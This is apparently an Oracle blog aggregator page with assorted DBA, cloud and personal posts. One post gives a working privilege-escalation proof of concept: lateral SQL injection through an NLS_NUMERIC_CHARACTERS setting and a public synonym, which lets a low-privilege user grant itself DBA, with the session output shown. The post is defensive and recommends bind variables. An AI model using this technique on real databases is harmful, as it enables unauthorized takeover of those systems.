Oracle ORA600 News Aggregator

Changing database repositories in Oracle VM 3

kurtvm — Sat, 04 Feb 2012 20:36:48 +0100

At home I have a small atom-based server that was running Oracle VM Manager 3, installed using simple installation. Simple installation is the option where you just enter a password and the Oracle VM Manager installer installs : Oracle XE database, WebLogic Server and the Oracle VM Manager container. The same password is used for the database user, Oracle VM Manager database schema user, weblogic user and admin user for the manager instance.

The manager instance stores its data as objects inside the database. To do that, there is something called a datasource defined in weblogic during installation. It's basically a jdbc connection from weblogic to the database. This DS requires the following information : database hostname, database instance name, database listener port number, schema username and schema password. In my default install this was localhost, XE, 1521, ovs, mypassword.

Now that I re-organized my machines a bit, I have a larger server that runs a normal database 11.2.0.3, which I also happen to use for EM12c. So I figured I would take some load off the little atom server, keep it running Oracle VM Manager but shut down XE and move the schema over to my dedicated database host. This is a straightforward process so I just wanted to list the steps.

1) shut down Oracle VM Manager so that it does not continue updating the repository. as root : /etc/init.d/ovmm stop 2) export the schema user using the exp command for Oracle XE as oracle : cd /u01/app/oracle/product/11.2.0/xe export ORACLE_HOME=`pwd` export ORACLE_SID=XE export PATH=$ORACLE_HOME/bin:$PATH exp (enter user ovs and its password) export user (option 2) export everything including data this will create (by default) a file called expdat.dmp copy this file over to the other server with the other database The schema name is also in /u01/app/oracle/ovm-manager-3/.config (OVSSCHEMA) 3) shutdown oracle-xe as it's no longer needed as root : /etc/init.d/oracle-xe stop 4) import the ovs user into the new database. I like to do it as the user. I just simply pre-create the schema before starting import as oracle : sqlplus '/ as sysdba' create user ovs identified by MyPassword; grant connect,resource to ovs; at this point, run the imp utility on the box to import the expdat.dmp import asks for username/password, enter ovs and its password import yes on all data and tables and content. At this point you have a good complete repository. Now let's make the Oracle VM Manager weblogic instance point to the new database. 5) on the original system, restart weblogic as root :/etc/init.d/ovmm start wait a few minutes for the instance to come online 6) use the ovm_admin tool as oracle : cd /u01/app/oracle/ovm-manager-3/bin ./ovm_admin --modifyds orcl wopr8 1521 ovs mypassword My new host name for the 11.2.0.3 database is called wopr, the database instance is orcl and listener is still 1521 with schema ovs The admin tool asks for a password, this is the weblogic user password. In a simple install, this would be the same as your admin or ovs account password. 7) restart to have everything take effect. as root : /etc/init.d/ovmm stop ; sleep 5 ;/etc/init.d/ovmm start ; 8) edit the config file and update the new data vi /u01/app/oracle/ovm-manager-3/.config modify : DBHOST= SID= LSNR= OVSSCHEMA= and leave the rest as is. that should do it !

On Innovation

kurtvm — Sat, 04 Feb 2012 11:57:36 +0100
Last time I shared two videos I liked very much for personal development. This time I want to share one video, one presentation and one blog on Innovation. 1. Blog: “21 Great Innovation Methods” – http://www.innovationexcellence.com/blog/2009/11/26/21-great-innovation-methods/ 2. Video: “Oracle Innovation Happens” – http://vimeo.com/32437552 (Especially the message within first 1 minute 40 seconds can be applied [...]

Oracle Query Optimizer Vanishing Acts

kurtvm — Sat, 04 Feb 2012 04:51:46 +0100
February 3, 2012 A couple of days ago I noticed an interesting thread on the comp.databases.oracle.server Usenet group that described a problem of vanishing tables. The title of the thread certainly caught my attention, and I was a bit disappointed that the there was little to no magic involved in the vanishing act. The situation reported in [...]

Nuremberg Sausage???

kurtvm — Sat, 04 Feb 2012 00:48:08 +0100

I'll try almost all food wherever I am in the world (except for Scorpios-on-a-Stick, Sheep Penis and such stuff). But I didn't try this in our hotel in Rio:

No offense - but Nuremberg (or in German: Nürnberg) is my hometown - and Nürnberger Bratwürste look a little bit different. If you'd ever visit Germany and you'll have to chance to see Nürnberg you might order "Drei im Weggla" (three [sausages] in a bread bun) and every Franconian will understand you

But still Roy and me had some fun at the breakfast buffett

Obregado :-)

kurtvm — Sat, 04 Feb 2012 00:34:07 +0100

Thanks a lot to everybody who did visit our workshops in Sao Paulo and Rio de Janeiro in the past days. And actually our "Thank You" or Obregado! can't express how Roy and me felt in the past days. I believe I've never felt so welcome - you all, customers, partners and Oracle folks were simply great. Thanks a lot for that. We've had a great time - and we hope you had some fun as well and enjoyed the hands-on lab as well.

Let us know if anything with your upgrades does not run as desired - or if all worked out well. And also if you'd like to try the "Turbo xTTS" technique. The note got published last night and I'll write something about it in the upcoming weeks.

So we hope to see you again - maybe in 2014 during the World Cup I'll push Murilo to setup another series of workshops by then

And thanks a lot for all your comments and feedbacks - we really appreciate that!!

Obregado!!!

Hotsos Symposium 2012 Speaker Spotlight - Doug Gault

kurtvm — Fri, 03 Feb 2012 19:53:00 +0100

Doug Gault is returning to Hotsos Symposium 2012. Doug is an entertaining speaker who focuses on Oracle's Application Express. Doug Gault is a Director & Co-Founder at Sumneva, a world-class Oracle Application Express (APEX) consulting, training & solutions firm founded in 2010. He has been working with Oracle since 1988, starting with version 5.1B, SQL*Forms 2.0 and RPT/RPF. Since then he has focused his career on Oracle's development technologies, spending the last decade on web based technologies, and the last 5 years specifically on APEX. Prior to co-founding Sumneva, Gault was Vice President of Sumner Technologies, which also focused on Oracle APEX consulting, training & solutions. Before that he served as the Product Development Director for Hotsos Enterprises, during which time he was the lead architect/developer and product manager for two commercial products written in exclusively in APEX. His 21 years of Oracle experience has taken him all over the world and involved him in some truly ground-breaking projects. Gault has presented and participated in round table discussions at a number of conferences including Oracle OpenWorld, UKOUG and ODTUG's APEXposed. He holds an Associates Degree in Computer Science, and an honorary Master's Degree from The School of Hard Knocks, believing there is no replacement for hard earned experience.
Topic: Capturing Performance Data for Interesting APEX Processes
Description: One of the features of Oracle Application Express 4 is the much improved debug information now stored in the dictionary views. This data can be used to track, monitor, and identify performance trends across your APEX application. The trick is capturing instances of this information for interesting APEX processes programmatically. This session will introduce the idea of using APEX Debug data for performance trending, the techniques and information necessary for you to mine the Oracle Application Express 4 debug data, and methods for programmatically capturing runs deemed as "interesting".
If you're into ApEx, you won't want to miss Doug's presentation. Sign up today before the price goes up on Feb 11, 2012.

Captain Support: Not to the rescue…

kurtvm — Fri, 03 Feb 2012 18:24:29 +0100

This morning, the display on one of my computers was a bit odd. I rebooted the machine and when it came up I got no output on the monitor. I plugged my laptop into the monitor and that worked fine, so it looked like the graphics card had died. I popped down to a local PC store and had the choice of remortgaging my house for new graphics card, or buying a cheap and cheerful one. I did the latter. Even so, the new card was much flasher than the old one.

I put the card in the machine and it booted up and I had a display again. Trouble was, GNOME shell had failed to start and I was knocked back into fallback mode, that looks a bit like GNOME2. Sigh. Forgot to check the the card against support for the ever-so-picky GNOME shell.

I now have a choice to make:

Ditch it and get a new graphics card… again…

Switch to KDE or XFCE… shudder…

Stay with the fallback option until Fedora 17, when allegedly GNOME shell will not be so bloody fussy.

I’m probably going to stick with the last option as I can’t be bothered to waste any more time on this. All of a sudden, Windows and Mac OS X don’t seem so bad after all…

Cheers

Tim…

PS. I don’t need a lecture on why GNOME shell is so picky. I know all the arguments. I’ve read all the crap. Doesn’t mean it’s not a pain in the ass when you buy a newer and more powerful graphics card and you end up with an inferior user experience.

Chronicle…

kurtvm — Fri, 03 Feb 2012 17:16:02 +0100

I thought Chronicle was a cool film. Three kids find some weird object and develop super powers. How will it affect them and how will they choose to use them?

It has the “shot on my camcorder” feel, like Cloverfield, and has a kind of Akira feel to me. While I was watching it I kept expecting someone to say, “With great power comes great responsibility!”

The effects are pretty cool. At the start they look like they are going to be a bit low budget, but by the end they get pretty impressive.

Nice mix of teen angst, super powers and destruction. Obviously not targeted for 42 year old men, but it hit the mark for me. I guess that says a lot.

Cheers

Tim…

All about Security - SQL Injection redux

kurtvm — Fri, 03 Feb 2012 14:02:40 +0100
I just wrote about SQL Injection yesterday - after having giving a web seminar on Wednesday the touched on the topic.

One of the comments on that post was by David Litchfield, he wrote:
Hey Tom,Funnily enough I just published a paper about doing the same thing with NUMBER concatenations. This was an addendum to a paper I wrote in 2008 on exploit DATE concatenations - the same problem you discuss here. You can get the recent paper here: http://www.accuvant.com/capability/accuvant-labs/security-research/lateral-sql-injection-revisited-exploiting-numbers and the first paper here: http://www.databasesecurity.com/dbsec/lateral-sql-injection.pdf

I read that new paper and learned something new (actually, much like David - I was kicking myself because I should have been able to see this problem coming as well. It is just a variation on a theme after all). In that paper, he demonstrates how to exploit a SQL Injection flaw using NLS settings with numbers. That is something I hadn't considered before. NLS settings for numbers are different than for dates. With a date, I can set the format string to have any string of characters I want. With numbers - you are very much restricted. On the face of it - it doesn't look like you can exploit a SQL Injection flaw with numbers like you can with dates.

But - you can. Just not as flexibly. But the end result can be as disastrous.

One of the follow on comments to this posting by David was:

the problem David mentions in http://www.accuvant.com/capability/accuvant-labs/security-research/lateral-sql-injection-revisited-exploiting-numbers only arises since NUM_PROC is owned by SYS,as far as I can see, correct ?
So, it's not really a problem since nobody ever does something as SYS, correct.

In his example, David used SYS to demonstrate with - which could lead people to believe "ah, it needs SYS to exploit this flaw". But - it doesn't. All it requires is an account with these privileges:
Create session
Create procedure
Create public synonym <<<=== these guys are evil! Should be avoided
And another schema that has the ability to GRANT stuff - like DBA. It doesn't have to be DBA, it could be any privilege they have the ability to grant.
Here is how to exploit the flaw. First - read David's paper to get the background on the 'P ' NLS_NUMERIC_CHARACTERS. Then you'll understand how:
a%ORA11GR2> select .1 from dual;
.1---------- P1
works. Once you have mastered that, all we need to do to exploit this type of SQL Injection flaw is this. I'll have a DBA schema containing a procedure that uses dynamic SQL with string concatenation and a number as an input:
ops$tkyte%ORA11GR2> create or replace procedure do_something( l_num in number ) 2 as 3 l_query long; 4 l_cursor sys_refcursor; 5 l_rec all_users%rowtype; 6 begin 7 l_query := ' 8 select * 9 from all_users 10 where user_id = ' || l_num; 11 dbms_output.put_line( l_query ); 12 13 open l_cursor for l_query; 14 15 loop 16 fetch l_cursor into l_rec; 17 exit when l_cursor%notfound; 18 dbms_output.put_line( 'username = ' || l_rec.username ); 19 end loop; 20 close l_cursor; 21 end; 22 /Procedure created.
Then, we'll have our account with the small set of privileges:

ops$tkyte%ORA11GR2> create user a identified by a;User created.
ops$tkyte%ORA11GR2> grant create session, create procedure, create public synonym to a;Grant succeeded.

and we'll allow it to access this procedure - just like in my original SQL Injection article:
ops$tkyte%ORA11GR2> grant execute on do_something to a;Grant succeeded.
Ok, so now we'll log in as A and run the procedure to see what it does:
ops$tkyte%ORA11GR2> connect a/aConnected.a%ORA11GR2> a%ORA11GR2> exec ops$tkyte.do_something( 5 );
select * from all_users where user_id = 5username = SYSTEM
PL/SQL procedure successfully completed.

Now, we suspect it might use string concatenation - so we'll create a function that might be able to exploit this:
a%ORA11GR2> create or replace function foobar return number 2 authid current_user 3 as 4 pragma autonomous_transaction; 5 begin 6 execute immediate 'grant dba to a'; 7 return 5; 8 end; 9 /Function created.
And then set up our public synonym for it and allow others to execute it:
a%ORA11GR2> create public synonym p1 for foobar;Synonym created.
a%ORA11GR2> grant execute on foobar to public;Grant succeeded.

and now for the magic:
a%ORA11GR2> alter session set nls_numeric_characters = 'P ';Session altered.
and viola:
a%ORA11GR2> set role dba;set role dba*ERROR at line 1:ORA-01924: role 'DBA' not granted or does not exist

a%ORA11GR2> exec ops$tkyte.do_something( .1 );
select * from all_users where user_id = P1username = SYSTEM
PL/SQL procedure successfully completed.
a%ORA11GR2> set role dba;
Role set.

I have DBA...
SQL Injection is insidious. SQL Injection is hard to detect. SQL Injection can be avoided - by simply using bind variables. In the event a bind variable is not possible for some provable technical reason (and those events are few and far far far in between) you have to critically review that code over and over and try to think of every way it could be exploited. The problem with that however is that before yesterday - I would have looked at this code and might have said "this looks ok".
It is really hard to protect yourself from something you cannot see.

Updated a little later: Let me also say this:

If you use static sql in plsql - your code in plsql cannot be sql injected, period. It is not possible. The only way to get sql injected in plsql is to use dynamic sql - that is the only time. So, if you want maximum protection from SQL Injection - if you just want to avoid it, you will:

a) write your SQL code in PL/SQL
b) call this PL/SQL from your java/c/c#/whatever code USING BINDS to pass all inputs and outputs to/from the database

If you do that - no SQL Injection attacks are possible.

E-Business Suite and APEX integration using Views

kurtvm — Fri, 03 Feb 2012 12:38:39 +0100
Integrating APEX and EBS by using views is one of the easiest solutions (at first sight!).

This is the first scenario, where I have an APEX application and I want to integrate with data sitting in EBS.

Pre-requisites:
APEX is installed in the same database as EBS (see previous post).
My APEX application (actually Workspace) is linked to my own (non-EBS) Oracle schema.
If you want to view data coming from EBS in your APEX application, follow these steps:
Identify where the data is in EBS

If you are not familiar with the data model of EBS, it can be hard to find the right information. A good starting point would be the APPS schema, because that has access to the complete Oracle E-Business Suite data model. You can compare it with the SYSTEM schema, which has access to the entire database.

This pictures shows an overview of the APPS schema and base product schemas.

You can read more about the APPS schema in the EBS documentation.

In my example I wanted to find the people that are in my organisation (HR). I started to look for views that would give me that information. My first query was like this:

select object_name
from user_objects
where object_name like '%PEOPLE%'
and object_type = 'VIEW'
order by 1

That query returned 82 rows in my environment. In the results I saw e.g. ADS_PEOPLE_V, HRBG_PEOPLE, PER_ALL_PEOPLE, PER_PEOPLE, PER_PEOPLE_F etc.

I started to look at the definitions of those, but if you are not familiar with EBS it's hard to know which one is the one you need. So my recommendation would definitely be; when you are not that familiar with EBS, talk with somebody who knows more about it. For me that is the case, I only started to look into EBS and actually do something with it, a few weeks ago.

When I talked to somebody more experienced in EBS, he told me I probably wanted to look at PER_ALL_PEOPLE_F. Hmm, that wasn't in the result set of the above query. After investigating a bit more PER_ALL_PEOPLE_F is a synonym for HR.PER_ALL_PEOPLE_F.

I wanted to understand the naming convention in EBS a bit better e.g. for the PER%PEOPLE% objects.

Below I created a table how I interpret the EBS objects:

View /Synonym (^) count(*) count(distinct person_id) Interpretation
per_all_people_f (^) 32295 18518 Synonym to real HR table
per_all_people 0 0 Needs EBS session (record inFND_SESSIONS) so it knows what you can see
per_all_people_d 32295 18518 All records but showstranslated text if user settings are applied
per_people 0 0 Needs EBS session, showseffective records based on user's date
per_people_f 32295 18518 EBS security implemented, youonly see records you are allowed to see
per_people_v 0 0 Needs EBS Session, includes alot of display text and is language dependend
per_people_x 18518 18518 EBS security implemented (sameas per_people_f), but limits to only the effective records
(WHERE TRUNC(SYSDATE) BETWEEN EFFECTIVE_START_DATE ANDEFFECTIVE_END_DATE)

So to me PER_PEOPLE_X looks like a good candidate to use in my APEX application. If I'm not logged into the app as an E-Business user I still see all records that are effective at the time I run the query.

Create a view on top of the EBS views and use some naming conventions so it's easy to recognise which objects you created and are not native EBS ones.

create view apex_per_people_vw as select * from per_people_x

Grant access on that view to the schema that is linked to your APEX workspace and application

grant select on apex_per_people_vw to apex_ebs

Create a view in your own schema that selects everything from the view in the apps schema.
We do that so that the views are a one-on-one mapping between schema's, but they show up in the APEX wizards.

create view apex_per_people_vw as select * from apps.apex_per_people_vw

Create an Interactive Report on top of the view

This first examples shows how you can view data from EBS in your own APEX application. We can now create a calendar, charts etc. in APEX based on the data coming from EBS. In the next post I will show how you can edit this data.
Previous related posts:

E-Business Suite and APEX integration (overview)
E-Business Suite and APEX installation
APEX and E-Business Suite integration (OBUG event)

RMOUG

kurtvm — Fri, 03 Feb 2012 10:40:51 +0100

Just a quick reminder that the Rocky Mountain Oracle User Group Training days are just eleven days away. It’s one of the best Oracle events I’ve attended, and I’ll be there again this year. There are plenty of good speakers and interesting presentations on a wide range of topics – and if you’re wandering around between sessions with nothing to do, I’ll be around too and will be happy to say hello and have a chat.

Here’s the list of things I’ve pencilled in on my timetable so far. (Some of the gaps are there because I’m doing three presentations myself, some are there because I haven’t decided what to see yet.)

Wednesday 9:15 Database I/O Performance: Measuring and Planning – Alex Gorbachev, Pythian

10:45 Parallel Execution in RAC – Riyaj Shamsudeen, OraInternals

16:00 Making Sense of Big Data – Gwen Shapira, Pythian

Thursday 8:30 Developing and Deploying Extremely Large Databases with Oracle 11gR2 – Daniel Morgan, Morgan’s Library

9:45 Mining the AWR Repository for Capacity Planning, Visualization, and other Real World Stuff – Karl Arao, Enkitec

13:30 Using Oracle Execution Plans for Performance Gains – Janis Griffin, Confio Software

If nothing else catches your eye, don’t miss out the opportunity to hear Maria Colgan talking about the optimizer. She’s doing three presenations (and only one of them coincides with one of mine) and they’re all worth hearing.

RMAN BACKUP VALIDATION AND RECOVERY FROM BLOCK CORRUPTION:

kurtvm — Fri, 03 Feb 2012 08:47:00 +0100

The main purpose of RMAN validation is to check for corrupt blocks and missing files
Corruption in block:
Block corruption is while the data is being written to the data blocks, if the write to the block fails abruptly, I mean that there is a partial write in the block, may be because of power disruption or I/O problem, leaving no time for header to be updated, or row data to be populated, oracle leaves the block corrupt.In case of block corruption you can normally use the database unless you try to read that particular block, against which it shoots up the block corruption error.Generally block corruption occurs if write fails on the block, when the transaction is being committed
Physical(media corrupt) and Logical(software corrupt) Block Corruption:
In a physical corruption, which is also called a media corruption, the database does not recognize the block at all: the checksum is invalid.
Checksum:
A number calculated by the database from all the bytes stored in a data or redo block. If the DB_BLOCK_CHECKSUM initialization parameter is enabled, then the database calculates the checksum for every datafile or online redo log block and stores it in the block header when writing to disk. The database can use the checksum value to check consistency.
In a logical corruption, the contents of the block are logically inconsistent.
The logical corruption happens within the blocks , for eg. some index entry pointing towards a null rowid.
Validating Database Files with BACKUP VALIDATE:
You can use the BACKUP VALIDATE command to do the following:
-Check datafiles for physical and logical block corruption.
-Confirm that all database files exist and are in the correct locations.

Validating only physical corruption:
BACKUP VALIDATE DATABASE ARCHIVELOG ALL;
Validating both physical and logical corruption:
BACKUP VALIDATE CHECK LOGICAL DATABASE ARCHIVELOG ALL;

Validating Backups Before Restoring Them:
You can run RESTORE ... VALIDATE to test whether RMAN can restore a specific file or set of files from a backup.
RESTORE DATABASE VALIDATE;
RESTORE ARCHIVELOG ALL VALIDATE;

RECOVRING A BLOCK CORRUPTION:
If it finds corrupted blocks(after checking with BACKUP VALIDATE CHECK LOGICAL DATABASE ARCHIVELOG ALL;) it will place the information about the corruption into a view:
v$database_block_corruption
SQL>select * from v$database_block_corruption;
FILE# BLOCK# BLOCKS CORRUPTION_CHANGE# CORRUPTIO———- ———- ———- —————— ———5 81 4 0 CORRUPT
this is what we find in the alert_.log:
Corrupt block relative dba: 0x014000b1 (file 5, block 177)Bad header found during backing up datafileData in bad block:type: 67 format: 7 rdba: 0x0a545055last change scn: 0×0000.0007bc77 seq: 0×3 flg: 0×04spare1: 0×52 spare2: 0×52 spare3: 0×0consistency value in tail: 0xbc772003check value in block header: 0xb32computed block checksum: 0xe4c1Reread of blocknum=177, file=/u01/app/oracle/oradata/orcl/example01.dbf.found same corrupt data

Now we can tell RMAN to recover all the blocks which it has found as being corrupt:
RMAN> blockrecover corruption list;
# (all blocks from v$database_block_corruption)Starting blockrecover at 05-04-2006:10:09:15using channel ORA_DISK_1channel ORA_DISK_1: restoring block(s) from datafile copy /u01/app/oracle/flash_recovery_area/ORCL/datafile/o1_mf_example_236tmb1c_.dbfstarting media recoveryarchive log thread 1 sequence 2 is already on disk as file /u01/app/oracle/flash_recovery_area/ORCL/archivelog/2006_04_05/o1_mf_1_2_236wxbsp_.arcarchive log thread 1 sequence 1 is already on disk as file/u01/app/oracle/oradata/orcl/redo01.logmedia recovery complete, elapsed time: 00:00:01Finished blockrecover at 05-04-2006:10:09:24
Also read:

Segment checking using DBV

DBMS_REPAIR

Enjoy:-)

Log Buffer #257, A Carnival of the Vanities for DBAs

kurtvm — Fri, 03 Feb 2012 07:00:15 +0100
With new year many new projects, new technologies, new frameworks and new ideas are springing up at the speed of light and bloggers in the database arena are keeping up with this pace and this Log Buffer Edition is also living up to that pace and covers some of those posts in Log Buffer #257. [...]

Big recognition for IBM big data

kurtvm — Fri, 03 Feb 2012 06:00:00 +0100

These days, it’s hard to find a business conference or read a publication that doesn’t talk about big data. Even the recent World Economic Forum in Davos, Switzerland, featured more than 40 presentations on this hot technology. Because of all the recent talk, many people think big data is new. While it’s true that big data is suddenly gaining more attention, we at IBM have been investing in this space for many years, and are confident that we have the strongest strategy and deepest solution offering on the market. Now, an independent research firm has validated our belief.

Customer move to Netezza in days, not months

kurtvm — Fri, 03 Feb 2012 06:00:00 +0100

A number of Teradata customers have moved some or all of their data and analytic applications to IBM Netezza data warehouse appliances. The reasons these customers give for their move invariably include:

Time to value

Agility and the ability to grow with new workloads

Reducing their cost of ongoing maintenance

Improving query performance – particularly for complex analytics and ad-hoc environments as data volumes grow.

Come for the PaaS Functional Model, stay for the Cloud Operational Model

kurtvm — Fri, 03 Feb 2012 05:56:04 +0100

The Functional Model of PaaS is nice, but the Operational Model matters more.

Let’s first define these terms.

The Functional Model is what the platform does for you. For example, in the case of AWS S3, it means storing objects and making them accessible via HTTP.

The Operational Model is how you consume the platform service. How you request it, how you manage it, how much it costs, basically the total sum of the responsibility you have to accept if you use the features in the Functional Model. In the case of S3, the Operational Model is made of an API/UI to manage it, a bill that comes every month, and a support channel which depends on the contract you bought.

The Operational Model is where the S (“service”) in “PaaS” takes over from the P (“platform”). The Operational Model is not always as glamorous as new runtime features. But it’s what makes Cloud Cloud. If a provider doesn’t offer the specific platform feature your application developers desire, you can work around it. Either by using a slightly-less optimal approach or by building the feature yourself on top of lower-level building blocks (as Netflix did with Cassandra on EC2 before DynamoDB was an option). But if your provider doesn’t offer an Operational Model that supports your processes and business requirements, then you’re getting a hipster’s app server, not a real PaaS. It doesn’t matter how easy it was to put together a proof-of-concept on top of that PaaS if using it in production is playing Russian roulette with your business.

If the Cloud Operational Model is so important, what defines it and what makes a good Operational Model? In short, the Operational Model must be able to integrate with the consumer’s key processes: the business processes, the development processes, the IT processes, the customer support processes, the compliance processes, etc.

To make things more concrete, here are some of the key aspects of the Operational Model.

Deployment / configuration / management

I won’t spend much time on this one, as it’s the most understood aspect. Most Clouds offer both a UI and an API to let you provision and control the artifacts (e.g. VMs, application containers, etc) via which you access the PaaS functional interface. But, while necessary, this API is only a piece of a complete operational interface.

Support

What happens when things go wrong? What support channels do you have access to? Every Cloud provider will show you a list of support options, but what’s really behind these options? And do they have the capability (technical and logistical) to handle all your issues? Do they have deep expertise in all the software components that make up their infrastructure (especially in PaaS) from top to bottom? Do they run their own datacenter or do they themselves rely on a customer support channel for any issue at that level?

SLAs

I personally think discussions around SLAs are overblown (it seems like people try to reduce the entire Cloud Operational Model to a provisioning API plus an SLA, which is comically simplistic). But SLAs are indeed part of the Operational Model.

Infrastructure change management

It’s very nice how, in a PaaS setting, the Cloud provider takes care of all change management tasks (including patching) for the infrastructure. But the fact that your Cloud provider and you agree on this doesn’t neutralize Murphy’s law any more than me wearing Michael Jordan sneakers neutralizes the law of gravity when I (try to) dunk.

In other words, if a patch or update is worth testing in a staging environment if you were to apply it on-premise, what makes you think that it’s less likely to cause a problem if it’s the Cloud provider who rolls it out? Sure, in most cases it will work just fine and you can sing the praise of “NoOps”. Until the day when things go wrong, your users are affected and you’re taken completely off-guard. Good luck debugging that problem, when you don’t even know that an infrastructure change is being rolled out and when it might not even have been rolled out uniformly across all instances of your application.

How is that handled in your provider’s Operational Model? Do you have visibility into the change schedule? Do you have the option to test your application on the new infrastructure or to at least influence in any way how and when the change gets rolled out to your instances?

Note: I’ve covered this in more details before and so has Chris Hoff.

Diagnostic

Developers have assembled a panoply of diagnostic tools (memory/thread analysis, BTM, user experience, logging, tracing…) for the on-premise model. Many of these won’t work in PaaS settings because they require a console on the local machine, or an agent, or a specific port open, or a specific feature enabled in the runtime. But the need doesn’t go away. How does your PaaS Operational Model support that process?

Customer support

You’re a customer of your Cloud, but you have customers of your own and you have to support them. Do you have the tools to react to their issues involving your Cloud-deployed application? Can you link their service requests with the related actions and data exposed via your Cloud’s operational interface?

Security / compliance

Security is part of what a Cloud provider has to worry about. The problem is, it’s a very relative concept. The issue is not what security the Cloud provider needs, it’s what security its customers need. They have requirements. They have mandates. They have regulations and audits. In short, they have their own security processes. The key question, from their perspective, is not whether the provider’s security is “good”, but whether it accommodates their own security process. Which is why security is not a “trust us” black box (I don’t think anyone has coined “NoSec” yet, but it can’t be far behind “NoOps”) but an integral part of the Cloud Operational Model.

Business management

The oft-repeated mantra is that Cloud replaces capital expenses (CapExp) with operational expenses (OpEx). There’s a lot more to it than that, but it surely contributes a lot to OpEx and that needs to be managed. How does the Cloud Operational Model support this? Are buyer-side roles clearly identified (who can create an account, who can deploy a service instance, who can manage a deployed instance, etc) and do they map well to the organizational structure of the consumer organization? Can charges be segmented and attributed to various cost centers? Can quotas be set? Can consumption/cost projections be run?

We all (at least those of us who aren’t accountants) love a great story about how some employee used a credit card to get from the Cloud something that the normal corporate process would not allow (or at too high a cost). These are fun for a while, but it’s not sustainable. This doesn’t mean organizations will not be able to take advantage of the flexibility of Cloud, but they will only be able to do it if the Cloud Operational Model provides the needed support to meet the requirements of internal control processes.

Conclusion

Some of the ways in which the Cloud Operational Model materializes can be unexpected. They can seem old-fashioned. Let’s take Amazon Web Services (AWS) as an example. When they started, ownership of AWS resources was tied to an individual user’s Amazon account. That’s a big Operational Model no-no. They’ve moved past that point. As an illustration of how the Operational Model materializes, here are some of the features that are part of Amazon’s:

You can Fedex a drive and have Amazon load the data to S3.

You can optimize your costs for flexible workloads via spot instances.

The monitoring console (and API) will let you know ahead of time (when possible) which instances need to be rebooted and which will need to be terminated because they run on a soon-to-be-decommissioned server. Now you could argue that it’s a limitation of the AWS platform (lack of live migration) but that’s not the point here. Limitations exists and the role of the Operational Model is to provide the tools to handle them in an acceptable way.

Amazon has a program to put customers in touch with qualified System Integrators.

You can use your Amazon support channel for questions related to some 3rd party software (though I don’t know what the depth of that support is).

To support your security and compliance requirements, AWS support multi-factor authentication and has achieved some certifications and accreditations.

Instance status checks can help streamline your diagnostic flows.

These Operational Model features don’t generate nearly as much discussion as new Functional Model features (“oh, look, a NoSQL AWS service!”) . That’s OK. The Operational Model doesn’t seek the limelight.

Business applications are involved, in some form, in almost every activity taking place in a company. Those activities take many different forms, from a developer debugging an application to an executive examining operational expenses. The PaaS Operational Model must meet their needs.

ASCII table listing from SQL

kurtvm — Fri, 03 Feb 2012 05:01:00 +0100
Today I was chasing the relevant ASCII code for certain characters... I know there are plenty of ASCII tables on the net, but this is an interesting SQL solution, nonetheless.
select rownum "dec"
,chr(rownum) "char"
,to_char(rownum,'XXXX') "hex"
from dual connect by level < 256;dec char hex
--- ---- ---
1 1
2 2
3 3
4 4
5 5
6 6
7 7
8 8
9 " " 9
10 "
" A
11 B
12 C
13 "
" D
14 E
15 F
16 10
17 11
18 12
19 13
20 14
21 15
22 16
23 17
24 18
25 19
26 1A
27 1B
28 1C
29 1D
30 1E
31 1F
32 20
33 ! 21
34 " 22
35 # 23
36 $ 24
37 % 25
38 & 26
39 ' 27
40 ( 28
41 ) 29
42 * 2A
43 + 2B
44 , 2C
45 - 2D
46 . 2E
47 / 2F
48 0 30
49 1 31
50 2 32
51 3 33
52 4 34
53 5 35
54 6 36
55 7 37
56 8 38
57 9 39
58 : 3A
59 ; 3B
60 < 3C
61 = 3D
62 > 3E
63 ? 3F
64 @ 40
65 A 41
66 B 42
67 C 43
68 D 44
69 E 45
70 F 46
71 G 47
72 H 48
73 I 49
74 J 4A
75 K 4B
76 L 4C
77 M 4D
78 N 4E
79 O 4F
80 P 50
81 Q 51
82 R 52
83 S 53
84 T 54
85 U 55
86 V 56
87 W 57
88 X 58
89 Y 59
90 Z 5A
91 [ 5B
92 \ 5C
93 ] 5D
94 ^ 5E
95 _ 5F
96 ` 60
97 a 61
98 b 62
99 c 63
100 d 64
101 e 65
102 f 66
103 g 67
104 h 68
105 i 69
106 j 6A
107 k 6B
108 l 6C
109 m 6D
110 n 6E
111 o 6F
112 p 70
113 q 71
114 r 72
115 s 73
116 t 74
117 u 75
118 v 76
119 w 77
120 x 78
121 y 79
122 z 7A
123 { 7B
124 | 7C
125 } 7D
126 ~ 7E
127 7F
128 € 80
129 81
130 ‚ 82
131 ƒ 83
132 „ 84
133 … 85
134 † 86
135 ‡ 87
136 ˆ 88
137 ‰ 89
138 Š 8A
139 ‹ 8B
140 Œ 8C
141 8D
142 Ž 8E
143 8F
144 90
145 ‘ 91
146 ’ 92
147 “ 93
148 ” 94
149 • 95
150 – 96
151 — 97
152 ˜ 98
153 ™ 99
154 š 9A
155 › 9B
156 œ 9C
157 9D
158 ž 9E
159 Ÿ 9F
160 A0
161 ¡ A1
162 ¢ A2
163 £ A3
164 ¤ A4
165 ¥ A5
166 ¦ A6
167 § A7
168 ¨ A8
169 © A9
170 ª AA
171 « AB
172 ¬ AC
173 AD
174 ® AE
175 ¯ AF
176 ° B0
177 ± B1
178 ² B2
179 ³ B3
180 ´ B4
181 µ B5
182 ¶ B6
183 · B7
184 ¸ B8
185 ¹ B9
186 º BA
187 » BB
188 ¼ BC
189 ½ BD
190 ¾ BE
191 ¿ BF
192 À C0
193 Á C1
194 Â C2
195 Ã C3
196 Ä C4
197 Å C5
198 Æ C6
199 Ç C7
200 È C8
201 É C9
202 Ê CA
203 Ë CB
204 Ì CC
205 Í CD
206 Î CE
207 Ï CF
208 Ð D0
209 Ñ D1
210 Ò D2
211 Ó D3
212 Ô D4
213 Õ D5
214 Ö D6
215 × D7
216 Ø D8
217 Ù D9
218 Ú DA
219 Û DB
220 Ü DC
221 Ý DD
222 Þ DE
223 ß DF
224 à E0
225 á E1
226 â E2
227 ã E3
228 ä E4
229 å E5
230 æ E6
231 ç E7
232 è E8
233 é E9
234 ê EA
235 ë EB
236 ì EC
237 í ED
238 î EE
239 ï EF
240 ð F0
241 ñ F1
242 ò F2
243 ó F3
244 ô F4
245 õ F5
246 ö F6
247 ÷ F7
248 ø F8
249 ù F9
250 ú FA
251 û FB
252 ü FC
253 ý FD
254 þ FE
255 ÿ FFI think I'm glad I don't need to work in a multi-language / character set environment.

Exposing Enterprise Search Capabilities within Oracle WebCenter Content

kurtvm — Fri, 03 Feb 2012 00:55:56 +0100

